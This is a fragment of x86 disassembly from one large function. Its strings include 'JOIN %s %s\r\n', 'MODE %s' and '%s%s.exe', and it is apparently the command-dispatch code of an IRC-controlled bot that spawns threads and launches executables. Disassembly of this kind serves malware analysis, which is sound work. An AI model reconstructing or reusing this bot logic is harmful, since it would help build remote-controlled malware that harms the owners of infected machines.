mov [ebp+var_112C], eax
push 7Fh
lea eax, [ebp+var_1230]
push edi
push eax
call sub_41B5F0
push [ebp+arg_0]
call sub_41B779
mov esi, [ebp+arg_4]
add esp, 14h
mov [ebp+var_1130], eax
lea eax, [ebp+var_11B0]
push [ebp+var_88]
mov [ebp+var_1238], esi
push 80h
push eax
call sub_41B980
mov eax, [ebp+var_8]
add esp, 0Ch
mov edi, [ebp+var_4]
mov [ebp+var_111C], eax
push [ebp+var_1130]
lea eax, [ebp+var_1230]
mov [ebp+var_1120], edi
push eax
push [ebp+var_112C]
push esi
call sub_40AC10
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42AAA4
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 18h
push eax
call sub_40B0F7
add esp, 24h
mov [ebp+var_1128], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1238]
push ebx
push eax
push offset loc_4103AB
push ebx
push ebx
nop
call near ptr 2680098h
mov ecx, [ebp+var_1128]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_407C42
loc_407C2C: ; CODE XREF: sub_401ACD+6173j
cmp [ebp+var_1118], ebx
jnz loc_403DA1
push 32h
nop
call near ptr 2680000h
jmp short loc_407C2C
; ---------------------------------------------------------------------------
loc_407C42: ; CODE XREF: sub_401ACD+615Dj
nop
call near ptr 2680ABEh
push eax
push offset unk_42AA60
jmp loc_403D92
; ---------------------------------------------------------------------------
loc_407C53: ; CODE XREF: sub_401ACD+4E76j
; sub_401ACD+4E8Dj
push 0FFh
lea eax, [ebp+var_2878]
push [ebp+arg_10]
push eax
call sub_41B5F0
push 0FFh
lea eax, [ebp+var_2778]
push edi
push eax
call sub_41B5F0
push [ebp+arg_0]
mov [ebp+var_2674], ebx
call sub_41B779
mov [ebp+var_2670], eax
mov eax, [ebp+esi+var_80]
add esp, 1Ch
cmp eax, ebx
jz short loc_407CAC
push 10h
push ebx
push eax
call sub_41BDC5
add esp, 0Ch
mov [ebp+var_2668], eax
jmp short loc_407CB2
; ---------------------------------------------------------------------------
loc_407CAC: ; CODE XREF: sub_401ACD+61C9j
mov [ebp+var_2668], ebx
loc_407CB2: ; CODE XREF: sub_401ACD+61DDj
mov esi, [ebp+esi+var_7C]
cmp esi, ebx
jz short loc_407CC9
push esi
call sub_41B779
pop ecx
mov [ebp+var_266C], eax
jmp short loc_407CCF
; ---------------------------------------------------------------------------
loc_407CC9: ; CODE XREF: sub_401ACD+61EBj
mov [ebp+var_266C], ebx
loc_407CCF: ; CODE XREF: sub_401ACD+61FAj
movzx eax, [ebp+var_8FB]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_2664], eax
lea eax, [ebp+var_28F8]
mov [ebp+var_28FC], esi
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_265C], eax
mov eax, [ebp+var_8]
push edi
mov [ebp+var_2660], eax
push [ebp+arg_10]
lea eax, [ebp+var_2C4]
push offset unk_42AA34
push eax
call sub_41B886
push esi
lea eax, [ebp+var_2C4]
push 1Dh
push eax
call sub_40B0F7
add esp, 1Ch
mov [ebp+var_2678], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_28FC]
push ebx
push eax
push offset loc_4163FA
push ebx
push ebx
nop
call near ptr 2680098h
mov ecx, [ebp+var_2678]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_407D80
loc_407D6A: ; CODE XREF: sub_401ACD+62B1j
cmp [ebp+var_2658], ebx
jnz loc_407279
push 32h
nop
call near ptr 2680000h
jmp short loc_407D6A
; ---------------------------------------------------------------------------
loc_407D80: ; CODE XREF: sub_401ACD+629Bj
nop
call near ptr 2680ABEh
push eax
push offset unk_42A9F4
jmp loc_40726A
; ---------------------------------------------------------------------------
loc_407D91: ; CODE XREF: sub_401ACD+4E48j
; sub_401ACD+4E5Fj
push 7Fh
lea eax, [ebp+var_3490]
pop esi
push esi
push [ebp+arg_10]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_3410]
push edi
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_3390]
push [ebp+arg_0]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_3310]
push [ebp+var_88]
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 30h
mov esi, [ebp+arg_4]
mov [ebp+var_328C], eax
push [ebp+arg_0]
mov eax, [ebp+var_8]
mov [ebp+var_3288], eax
lea eax, [ebp+var_2C4]
push edi
mov [ebp+var_3494], esi
push [ebp+arg_10]
push offset unk_42A9B8
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 12h
push eax
call sub_40B0F7
add esp, 20h
mov [ebp+var_3290], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3494]
push ebx
push eax
push offset word_414A92
push ebx
push ebx
nop
call near ptr 2680098h
mov ecx, [ebp+var_3290]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_407E68
loc_407E52: ; CODE XREF: sub_401ACD+6399j
cmp [ebp+var_3284], ebx
jnz loc_407279
push 32h
call near ptr 2680000h
nop
jmp short loc_407E52
; ---------------------------------------------------------------------------
loc_407E68: ; CODE XREF: sub_401ACD+6383j
nop
call near ptr 2680ABEh
push eax
push offset unk_42A980
jmp loc_40726A
; ---------------------------------------------------------------------------
loc_407E79: ; CODE XREF: sub_401ACD+4D1Bj
; sub_401ACD+4D32j
push 7Fh
lea eax, [ebp+var_3068]
pop esi
push esi
push [ebp+arg_10]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_2FE8]
push edi
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_2F68]
push [ebp+arg_0]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_2EE8]
push [ebp+var_88]
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 30h
mov esi, [ebp+arg_4]
mov [ebp+var_2E64], eax
push [ebp+arg_0]
mov eax, [ebp+var_8]
mov [ebp+var_2E60], eax
lea eax, [ebp+var_2C4]
push edi
mov [ebp+var_306C], esi
push [ebp+arg_10]
push offset unk_42A950
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 0Eh
push eax
call sub_40B0F7
add esp, 20h
mov [ebp+var_2E68], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_306C]
push ebx
push eax
push offset byte_4137CD
push ebx
push ebx
call near ptr 2680098h
nop
mov ecx, [ebp+var_2E68]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_407F50
loc_407F3A: ; CODE XREF: sub_401ACD+6481j
cmp [ebp+var_2E5C], ebx
jnz loc_407279
push 32h
nop
call near ptr 2680000h
jmp short loc_407F3A
; ---------------------------------------------------------------------------
loc_407F50: ; CODE XREF: sub_401ACD+646Bj
nop
call near ptr 2680ABEh
push eax
push offset unk_42A918
jmp loc_40726A
; ---------------------------------------------------------------------------
loc_407F61: ; CODE XREF: sub_401ACD+4BF2j
; sub_401ACD+4C09j ...
push 7Fh
lea eax, [ebp+var_3CE4]
pop esi
push esi
push [ebp+arg_10]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_3C64]
push edi
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_3BE4]
push [ebp+arg_0]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_3B64]
push [ebp+var_88]
push eax
call sub_41B5F0
push 20h
lea eax, [ebp+var_3AE4]
push [ebp+arg_8]
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 3Ch
mov esi, [ebp+arg_4]
mov [ebp+var_3A64], eax
push [ebp+arg_0]
mov eax, [ebp+var_8]
mov [ebp+var_3A60], eax
lea eax, [ebp+var_2C4]
push edi
mov [ebp+var_3CEC], esi
push [ebp+arg_10]
push offset unk_42A8E8
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 0Dh
push eax
call sub_40B0F7
add esp, 20h
mov [ebp+var_3CE8], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3CEC]
push ebx
push eax
push offset dword_412A54
push ebx
push ebx
call near ptr 2680098h
nop
mov ecx, [ebp+var_3CE8]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_408049
loc_408033: ; CODE XREF: sub_401ACD+657Aj
cmp [ebp+var_3A5C], ebx
jnz loc_407279
push 32h
nop
call near ptr 2680000h
jmp short loc_408033
; ---------------------------------------------------------------------------
loc_408049: ; CODE XREF: sub_401ACD+6564j
nop
call near ptr 2680ABEh
push eax
push offset unk_42A8B0
jmp loc_40726A
; ---------------------------------------------------------------------------
loc_40805A: ; CODE XREF: sub_401ACD+4BC4j
; sub_401ACD+4BDBj
push 7Fh
lea eax, [ebp+var_1778]
push [ebp+arg_10]
push eax
call sub_41B5F0
push edi
call sub_41B779
push 3Fh
mov [ebp+var_1628], eax
push [ebp+arg_0]
lea eax, [ebp+var_16F8]
push eax
call sub_41B5F0
mov esi, [ebp+esi+var_80]
add esp, 1Ch
cmp esi, ebx
jz short loc_4080A5
push 3Fh
lea eax, [ebp+var_16B8]
push esi
push eax
call sub_41B5F0
add esp, 0Ch
loc_4080A5: ; CODE XREF: sub_401ACD+65C4j
lea eax, [ebp+var_16F8]
mov [ebp+var_1624], 1
push eax
lea eax, [ebp+var_1778]
push [ebp+var_1628]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42A880
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 1Fh
push eax
call sub_40B0F7
add esp, 20h
mov [ebp+var_1620], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_177C]
push ebx
push eax
push offset sub_4017ED
push ebx
push ebx
call near ptr 2680098h
nop
mov ecx, [ebp+var_1620]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_408131
loc_40811B: ; CODE XREF: sub_401ACD+6662j
cmp [ebp+var_161C], ebx
jnz loc_406CDF
push 32h
nop
call near ptr 2680000h
jmp short loc_40811B
; ---------------------------------------------------------------------------
loc_408131: ; CODE XREF: sub_401ACD+664Cj
call near ptr 2680ABEh
nop
push eax
push offset dword_42A844
jmp loc_406CD0
; ---------------------------------------------------------------------------
loc_408142: ; CODE XREF: sub_401ACD+4B84j
; sub_401ACD+4B9Bj
push edi
call sub_41B779
cmp eax, ebx
pop ecx
mov [ebp+var_1D64], eax
jle loc_408235
push [ebp+arg_10]
mov esi, 80h
lea eax, [ebp+var_1EEC]
push esi
push eax
call sub_41B980
add esp, 0Ch
xor eax, eax
cmp [ebp+var_8EE], bl
push [ebp+var_88]
setnz al
mov [ebp+var_1D60], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1EF0], eax
lea eax, [ebp+var_1DEC]
push esi
push eax
call sub_41B980
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_1D5C], eax
mov eax, [ebp+var_8]
push edi
mov [ebp+var_1D58], eax
push [ebp+arg_10]
lea eax, [ebp+var_2C4]
push offset unk_42A818
push 200h
push eax
call sub_41B980
push ebx
lea eax, [ebp+var_2C4]
push 15h
push eax
call sub_40B0F7
add esp, 20h
mov [ebp+var_1D6C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1EF0]
push ebx
push eax
push offset word_412E9E
push ebx
push ebx
nop
call near ptr 2680098h
mov ecx, [ebp+var_1D6C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_408224
loc_408212: ; CODE XREF: sub_401ACD+6755j
cmp [ebp+var_1D54], ebx
jnz short loc_40828C
push 32h
call near ptr 2680000h
nop
jmp short loc_408212
; ---------------------------------------------------------------------------
loc_408224: ; CODE XREF: sub_401ACD+6743j
nop
call near ptr 2680ABEh
push eax
push offset unk_42A7E0
jmp loc_4049EC
; ---------------------------------------------------------------------------
loc_408235: ; CODE XREF: sub_401ACD+6684j
push offset unk_42A7A8
jmp loc_406F05
; ---------------------------------------------------------------------------
loc_40823F: ; CODE XREF: sub_401ACD+4B56j
; sub_401ACD+4B6Dj
push edi
push [ebp+arg_10]
nop
call near ptr 26A0A6Ch
test eax, eax
jz short loc_40826C
push edi
lea eax, [ebp+var_2C4]
push [ebp+arg_10]
push offset unk_42A784
push 200h
push eax
call sub_41B980
add esp, 14h
jmp short loc_40828C
; ---------------------------------------------------------------------------
loc_40826C: ; CODE XREF: sub_401ACD+677Ej
push offset dword_42A778
call sub_41814D
pop ecx
push eax
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41B980
loc_408289: ; CODE XREF: sub_401ACD+2F2Bj
; sub_401ACD+5570j
add esp, 0Ch
loc_40828C: ; CODE XREF: sub_401ACD+2137j
; sub_401ACD+2ECDj ...
cmp [ebp+var_8], ebx
jnz loc_4083BD
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
loc_4082A9: ; CODE XREF: sub_401ACD+57C7j
call sub_409A73
add esp, 14h
jmp loc_4083BD
; ---------------------------------------------------------------------------
loc_4082B6: ; CODE XREF: sub_401ACD+4B28j
; sub_401ACD+4B3Fj
push [ebp+arg_10]
lea eax, [ebp+var_3F04]
push 104h
push eax
call sub_41B980
add esp, 0Ch
cmp [ebp+var_C], ebx
jz short loc_4082F0
push edi
push [ebp+var_C]
call sub_41B900
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4082F0
push eax
lea eax, [ebp+var_3E00]
push eax
call sub_41B886
pop ecx
pop ecx
loc_4082F0: ; CODE XREF: sub_401ACD+6803j
; sub_401ACD+6812j
push [ebp+var_88]
lea eax, [ebp+var_3F84]
push 80h
push eax
call sub_41B980
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_3F88], eax
mov eax, [ebp+var_4]
mov [ebp+var_3CF8], eax
mov eax, [ebp+var_8]
mov [ebp+var_3CF4], eax
lea eax, [ebp+var_3E00]
push eax
lea eax, [ebp+var_3F04]
push eax
push offset unk_42A748
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41B980
push ebx
lea eax, [ebp+var_2C4]
push 24h
push eax
call sub_40B0F7
add esp, 20h
mov [ebp+var_3CFC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3F88]
push ebx
push eax
push offset word_416CAE
push ebx
push ebx
call near ptr 2680098h
nop
mov ecx, [ebp+var_3CFC]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_4083A2
loc_408390: ; CODE XREF: sub_401ACD+68D3j
cmp [ebp+var_3CF0], ebx
jnz short loc_4083BD
push 32h
nop
call near ptr 2680000h
jmp short loc_408390
; ---------------------------------------------------------------------------
loc_4083A2: ; CODE XREF: sub_401ACD+68C1j
nop
call near ptr 2680ABEh
push eax
push offset unk_42A70C
loc_4083AE: ; CODE XREF: sub_401ACD+925j
; sub_401ACD+A63j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
loc_4083BD: ; CODE XREF: sub_401ACD+7E1j
; sub_401ACD+94Cj ...
push 1
pop esi
jmp loc_406D03
; ---------------------------------------------------------------------------
loc_4083C5: ; CODE XREF: sub_401ACD+4AFAj
; sub_401ACD+4B11j
push 44h
lea eax, [ebp+var_668]
pop esi
push esi
push ebx
push eax
call sub_41B590
push 1
mov [ebp+var_668], esi
pop esi
mov [ebp+var_638], bx
push [ebp+arg_10]
mov [ebp+var_63C], esi
call sub_41B779
add esp, 10h
cmp eax, esi
jnz short loc_408404
mov [ebp+var_638], 5
loc_408404: ; CODE XREF: sub_401ACD+692Cj
cmp [ebp+var_C], ebx
jz loc_406CDF
push edi
push [ebp+var_C]
call sub_41B900
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jz loc_406CDF
lea eax, [ebp+var_E10]
push eax
lea eax, [ebp+var_668]
push eax
push ebx
push ebx
push 28h
push esi
push ebx
push ebx
push edi
push ebx
nop
call near ptr 2660C3Bh
test eax, eax
jnz short loc_40844D
push offset unk_42A6E8
jmp loc_4085D6
; ---------------------------------------------------------------------------
loc_40844D: ; CODE XREF: sub_401ACD+6974j
push edi
push offset dword_42A6CC
jmp loc_406CD0
; ---------------------------------------------------------------------------
loc_408458: ; CODE XREF: sub_401ACD+4ACCj
; sub_401ACD+4AE3j
push edi
push offset aQsfpo ; "qsfpo"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4085D1
lea eax, [ebp+var_48F0]
push eax
push 104h
call near ptr 26A0000h
nop
push 0FFh
lea eax, [ebp+var_25D0]
push [ebp+arg_10]
push eax
call sub_41B5F0
lea eax, [ebp+var_17D0]
push eax
call sub_40AD81
add esp, 10h
push eax
lea eax, [ebp+var_48F0]
push eax
lea eax, [ebp+var_24D0]
push offset aSS_exe ; "%s%s.exe"
push eax
call sub_41B886
mov eax, [ebp+esi+var_84]
add esp, 10h
cmp eax, ebx
mov [ebp+var_23CC], 1
mov [ebp+var_23C8], ebx
jz short loc_4084ED
push 10h
push ebx
push eax
call sub_41BDC5
add esp, 0Ch
mov [ebp+var_23C0], eax
jmp short loc_4084F3
; ---------------------------------------------------------------------------
loc_4084ED: ; CODE XREF: sub_401ACD+6A0Aj
mov [ebp+var_23C0], ebx
loc_4084F3: ; CODE XREF: sub_401ACD+6A1Ej
mov esi, [ebp+esi+var_80]
cmp esi, ebx
jz short loc_40850A
push esi
call sub_41B779
pop ecx
mov [ebp+var_23C4], eax
jmp short loc_408510
; ---------------------------------------------------------------------------
loc_40850A: ; CODE XREF: sub_401ACD+6A2Cj
mov [ebp+var_23C4], ebx
loc_408510: ; CODE XREF: sub_401ACD+6A3Bj
movzx eax, [ebp+var_8FB]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_23BC], eax
lea eax, [ebp+var_2650]
mov [ebp+var_2654], esi
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_23B4], eax
mov eax, [ebp+var_8]
push [ebp+arg_10]
mov [ebp+var_23B8], eax
lea eax, [ebp+var_2C4]
push offset dword_42A694
push eax
call sub_41B886
push esi
lea eax, [ebp+var_2C4]
push 1Eh
push eax
call sub_40B0F7
add esp, 18h
mov [ebp+var_23D0], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2654]
push ebx
push eax
push offset loc_4163FA
push ebx
push ebx
call near ptr 2680098h
nop
mov ecx, [ebp+var_23D0]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_4085C0
loc_4085AA: ; CODE XREF: sub_401ACD+6AF1j
cmp [ebp+var_23B0], ebx
jnz loc_406CDF
push 32h
nop
call near ptr 2680000h
jmp short loc_4085AA
; ---------------------------------------------------------------------------
loc_4085C0: ; CODE XREF: sub_401ACD+6ADBj
nop
call near ptr 2680ABEh
push eax
push offset dword_42A658
jmp loc_406CD0
; ---------------------------------------------------------------------------
loc_4085D1: ; CODE XREF: sub_401ACD+699Aj
push offset dword_42A610
loc_4085D6: ; CODE XREF: sub_401ACD+2E74j
; sub_401ACD+457Dj ...
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
pop ecx
pop ecx
jmp loc_406CDF
; ---------------------------------------------------------------------------
loc_4085E9: ; CODE XREF: sub_401ACD+4A9Ej
; sub_401ACD+4AB5j
push [ebp+var_8C]
push offset dword_42D028
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_401E94
cmp [ebp+var_C], ebx
jz loc_401E94
push edi
push [ebp+var_C]
call sub_41B900
pop ecx
pop ecx
push eax
lea eax, [ebp+var_2C4]
push [ebp+var_88]
push [ebp+var_8C]
push [ebp+var_90]
push offset dword_42A600
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push 1FFh
push eax
push [ebp+arg_0]
call sub_41B5F0
push [ebp+arg_10]
call sub_41B779
add esp, 28h
test eax, eax
jle short loc_408674
push [ebp+arg_10]
call sub_41B779
imul eax, 3E8h
pop ecx
push eax
call near ptr 2680000h
nop
loc_408674: ; CODE XREF: sub_401ACD+6B8Fj
push offset dword_42A5EC
call sub_4151AD
mov eax, [ebp+arg_24]
pop ecx
inc eax
jmp loc_401E97
; ---------------------------------------------------------------------------
loc_408688: ; CODE XREF: sub_401ACD+4A70j
; sub_401ACD+4A87j
push [ebp+var_8C]
push offset dword_42D028
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_401E94
cmp [ebp+var_C], ebx
jz loc_409855
push edi
push [ebp+var_C]
call sub_41B900
inc edi
push offset aRepeat ; "repeat"
push edi
mov esi, eax
call sub_41C070
add esp, 10h
test eax, eax
push esi
jz short loc_408746
push [ebp+var_88]
lea eax, [ebp+var_2C4]
push [ebp+var_8C]
push [ebp+var_90]
push offset dword_42A600
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push 1FFh
push eax
push [ebp+arg_0]
call sub_41B5F0
add esp, 24h
lea eax, [ebp+var_2C4]
push esi
push offset dword_42A5D4
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_4151AD
push [ebp+arg_10]
call sub_41B779
add esp, 14h
test eax, eax
jle loc_409855
push [ebp+arg_10]
call sub_41B779
add eax, [ebp+arg_24]
pop ecx
jmp loc_401E97
; ---------------------------------------------------------------------------
loc_408746: ; CODE XREF: sub_401ACD+6BFBj
push offset unk_42A5A0
loc_40874B: ; CODE XREF: sub_401ACD+7543j
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
loc_40875A: ; CODE XREF: sub_401ACD+74CBj
; sub_401ACD+7624j
cmp [ebp+var_8], ebx
jnz short loc_40877B
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
add esp, 14h
loc_40877B: ; CODE XREF: sub_401ACD+6C90j
; sub_401ACD+72C8j ...
lea eax, [ebp+var_2C4]
push eax
call sub_4151AD
jmp loc_409854
; ---------------------------------------------------------------------------
loc_40878C: ; CODE XREF: sub_401ACD+4A42j
; sub_401ACD+4A59j
push 7Fh
lea eax, [ebp+var_2214]
push [ebp+arg_10]
push eax
call sub_41B5F0
push 7Fh
lea eax, [ebp+var_2194]
push edi
push eax
call sub_41B5F0
push 7Fh
lea eax, [ebp+var_2114]
push [ebp+var_88]
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 24h
mov esi, [ebp+arg_4]
mov [ebp+var_2090], eax
mov eax, [ebp+var_8]
push edi
push [ebp+arg_10]
mov [ebp+var_208C], eax
lea eax, [ebp+var_2C4]
mov [ebp+var_2218], esi
push offset unk_42A56C
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 0Fh
push eax
call sub_40B0F7
add esp, 1Ch
mov [ebp+var_2094], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2218]
push ebx
push eax
push offset dword_4143CC
push ebx
push ebx
nop
call near ptr 2680098h
mov ecx, [ebp+var_2094]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_40884C
loc_40883A: ; CODE XREF: sub_401ACD+6D7Dj
cmp [ebp+var_2088], ebx
jnz short loc_408867
push 32h
call near ptr 2680000h
nop
jmp short loc_40883A
; ---------------------------------------------------------------------------
loc_40884C: ; CODE XREF: sub_401ACD+6D6Bj
nop
call near ptr 2680ABEh
push eax
push offset unk_42A530
loc_408858: ; CODE XREF: sub_401ACD+6E8Aj
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
loc_408867: ; CODE XREF: sub_401ACD+6D73j
; sub_401ACD+6E6Ej
cmp [ebp+var_8], ebx
jnz loc_409631
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push esi
jmp loc_409629
; ---------------------------------------------------------------------------
loc_408887: ; CODE XREF: sub_401ACD+4A14j
; sub_401ACD+4A2Bj
push 7Fh
lea eax, [ebp+var_23A8]
push [ebp+arg_10]
push eax
call sub_41B5F0
push 7Fh
lea eax, [ebp+var_2328]
push edi
push eax
call sub_41B5F0
push 7Fh
lea eax, [ebp+var_22A8]
push [ebp+var_88]
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 24h
mov esi, [ebp+arg_4]
mov [ebp+var_2224], eax
mov eax, [ebp+var_8]
push edi
push [ebp+arg_10]
mov [ebp+var_2220], eax
lea eax, [ebp+var_2C4]
mov [ebp+var_23AC], esi
push offset dword_42A504
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 11h
push eax
call sub_40B0F7
add esp, 1Ch
mov [ebp+var_2228], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_23AC]
push ebx
push eax
push offset dword_413B78
push ebx
push ebx
nop
call near ptr 2680098h
mov ecx, [ebp+var_2228]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_40894B
loc_408935: ; CODE XREF: sub_401ACD+6E7Cj
cmp [ebp+var_221C], ebx
jnz loc_408867
push 32h
nop
call near ptr 2680000h
jmp short loc_408935
; ---------------------------------------------------------------------------
loc_40894B: ; CODE XREF: sub_401ACD+6E66j
nop
call near ptr 2680ABEh
push eax
push offset dword_42A4C8
jmp loc_408858
; ---------------------------------------------------------------------------
loc_40895C: ; CODE XREF: sub_401ACD+49E6j
; sub_401ACD+49FDj
push edi
lea eax, [ebp+var_2C4]
push offset dword_42A4C0
push eax
call sub_41B886
push [ebp+arg_10]
call sub_41B779
add esp, 10h
loc_408979: ; CODE XREF: sub_401ACD+6F17j
test eax, eax
jle loc_409855
push [ebp+arg_10]
call sub_41B779
cmp eax, 400h
pop ecx
jge loc_409855
loc_408995: ; CODE XREF: sub_401ACD+7A56j
lea eax, [ebp+var_2C4]
push eax
push offset dword_42A4B8
push [ebp+arg_10]
call sub_41B779
imul eax, 234h
pop ecx
push dword_43E59C[eax]
call sub_409A2D
jmp loc_404934
; ---------------------------------------------------------------------------
loc_4089C0: ; CODE XREF: sub_401ACD+49B8j
; sub_401ACD+49CFj
push [ebp+esi+var_84]
lea eax, [ebp+var_2C4]
push edi
push offset dword_42A4AC
push eax
call sub_41B886
push [ebp+arg_10]
call sub_41B779
add esp, 14h
jmp short loc_408979
; ---------------------------------------------------------------------------
loc_4089E6: ; CODE XREF: sub_401ACD+498Aj
; sub_401ACD+49A1j
push edi
lea eax, [ebp+var_2C4]
push offset dword_42BB58
push eax
call sub_41B886
mov esi, [ebp+arg_10]
push esi
call sub_41B779
add esp, 10h
test eax, eax
jle loc_409855
push esi
call sub_41B779
cmp eax, 400h
pop ecx
jge loc_409855
lea eax, [ebp+var_2C4]
push eax
push offset dword_42A4B8
push esi
call sub_41B779
imul eax, 234h
pop ecx
push dword_43E59C[eax]
call sub_409A2D
add esp, 0Ch
push edi
push esi
push offset dword_42A490
loc_408A4C: ; CODE XREF: sub_401ACD+700Aj
; sub_401ACD+7079j ...
call sub_415221
jmp loc_404934
; ---------------------------------------------------------------------------
loc_408A56: ; CODE XREF: sub_401ACD+495Cj
; sub_401ACD+4973j
cmp [ebp+var_C], ebx
jz loc_409855
push edi
push [ebp+var_C]
call sub_41B900
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_408A85
push esi
lea eax, [ebp+var_2C4]
push offset dword_42A488
push eax
call sub_41B886
add esp, 0Ch
loc_408A85: ; CODE XREF: sub_401ACD+6FA1j
mov edi, [ebp+arg_10]
push edi
call sub_41B779
test eax, eax
pop ecx
jle loc_409855
push edi
call sub_41B779
cmp eax, 400h
pop ecx
jge loc_409855
lea eax, [ebp+var_2C4]
push eax
push offset dword_42A4B8
push edi
call sub_41B779
imul eax, 234h
pop ecx
push dword_43E59C[eax]
call sub_409A2D
add esp, 0Ch
push esi
push edi
push offset dword_42A46C
jmp loc_408A4C
; ---------------------------------------------------------------------------
loc_408ADC: ; CODE XREF: sub_401ACD+492Ej
; sub_401ACD+4945j
cmp [ebp+var_C], ebx
jz loc_409855
push edi
push [ebp+var_C]
call sub_41B900
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409855
mov edi, [ebp+arg_10]
push edi
call sub_41B779
test eax, eax
pop ecx
jle loc_409855
push edi
call sub_41B779
cmp eax, 400h
pop ecx
jge loc_409855
push esi
push offset dword_42A4B8
push edi
call sub_41B779
imul eax, 234h
pop ecx
push dword_43E59C[eax]
call sub_409A2D
add esp, 0Ch
push esi
push edi
push offset dword_42A450
jmp loc_408A4C
; ---------------------------------------------------------------------------
loc_408B4B: ; CODE XREF: sub_401ACD+4900j
; sub_401ACD+4917j
cmp [ebp+var_C], ebx
jz loc_409855
push [ebp+arg_10]
push [ebp+var_C]
call sub_41B900
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409855
push esi
push offset aModeS ; "MODE %s\r\n"
push [ebp+arg_4]
call sub_409A2D
add esp, 0Ch
push esi
push offset unk_42A428
jmp loc_40984E
; ---------------------------------------------------------------------------
loc_408B87: ; CODE XREF: sub_401ACD+48D2j
; sub_401ACD+48E9j
push [ebp+var_8C]
push offset dword_42D028
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_401E94
push edi
push offset dword_42A41C
push [ebp+arg_4]
call sub_409A2D
push [ebp+arg_10]
call sub_41B779
imul eax, 3E8h
add esp, 10h
push eax
nop
call near ptr 2680000h
push [ebp+esi+var_84]
push edi
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_409A2D
push offset dword_42A408
call sub_4151AD
jmp loc_403520
; ---------------------------------------------------------------------------
loc_408BEB: ; CODE XREF: sub_401ACD+48A4j
